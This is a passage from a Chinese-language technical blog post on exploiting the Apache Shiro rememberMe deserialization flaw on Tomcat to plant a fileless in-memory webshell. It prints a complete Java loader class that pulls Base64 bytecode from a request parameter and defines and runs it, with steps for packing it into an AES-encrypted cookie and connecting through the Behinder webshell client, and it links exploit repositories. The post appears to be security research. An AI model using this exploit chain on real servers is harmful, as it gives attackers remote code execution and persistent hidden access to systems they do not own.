当然在web.xml也要配好映射
<!--注册servlet--> <servlet> <servlet-name>hello</servlet-name> <servlet-class>controller.helloController</servlet-class> </servlet> <!--Servlet映射的请求路径--> <servlet-mapping> <servlet-name>hello</servlet-name> <url-pattern>/hello</url-pattern> </servlet-mapping>运行后访问url地址,即可触发查找,查找结果文件保存在D盘根目录下
打开查找结果文件,发现其中的一个结果中有RequestInfo
debug模式下查看这个对象,确实存在request对象
但其实会发现,拿到的这个Request对象类型为org.apache.coyote.Request,并不能直接获取到请求体里面的数据。需要通过其notes对象拿到另一个类型为org.apache.catalina.connector.Request的Request对象,通过此对象就能调用getParameter方法获取到请求体里面的数据了,具体调试过程太长,这里就不详述了。
根据以上的寻找,可以写出修改后的MyClassLoader.java对象,为了区分之前的类,我重新命名为了ClassDataLoader.java,以下是此类的代码
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class ClassDataLoader extends AbstractTranslet{ public ClassDataLoader() throws Exception { Object o; String s; String classData = null; boolean done = false; Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads"); for (int i = 0; i < ts.length; i++) { Thread t = ts[i]; if (t == null) { continue; } s = t.getName(); if (!s.contains("exec") && s.contains("http")) { o = getFV(t, "target"); if (!(o instanceof Runnable)) { continue; } try { o = getFV(getFV(getFV(o, "this$0"), "handler"), "global"); } catch (Exception e) { continue; } java.util.List ps = (java.util.List) getFV(o, "processors"); for (int j = 0; j < ps.size(); j++) { Object p = ps.get(j); o = getFV(p, "req"); Object conreq = o.getClass().getMethod("getNote", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)}); classData = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(conreq, new Object[]{new String("classData")}); byte[] bytecodes = org.apache.shiro.codec.Base64.decode(classData); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)}); cc.newInstance(); done = true; if (done) { break; } } } } } public Object getFV(Object o, String s) throws Exception { java.lang.reflect.Field f = null; Class clazz = o.getClass(); while (clazz != Object.class) { try { f = clazz.getDeclaredField(s); break; } catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); } } if (f == null) { throw new NoSuchFieldException(s); } f.setAccessible(true); return f.get(o); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }最后测试就是生成用shiro中AES+base64加密后的ClassDataLoader.java,放入rememberMe中
再生成BehinderFilter.class的base64放入classData参数中
cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'发送后使用冰蝎即可连接成功
四、最后感谢P神,木头神的实验环境,帮了我很大的忙,本文中的涉及的实验环境和代码我都放在了github中,需要可以自行下载
https://github.com/yyhuni/shiroMemshell
在此篇文章原理的基础上,我随便写了一款shiro的综合利用工具
https://github.com/yyhuni/shiroATK
参考:https://www.cnblogs.com/bitterz/p/14820898.html
https://xz.aliyun.com/t/9914
https://xz.aliyun.com/t/2744
Java代码执行漏洞中类动态加载的应用
tomcat结合shiro无文件webshell的技术研究以及检测方法
Shiro 550 漏洞学习 (二):内存马注入及回显
https://github.com/c0ny1/java-object-searcher
https://blog.xray.cool/post/how-to-find-shiro-rememberme-deserialization-vulnerability/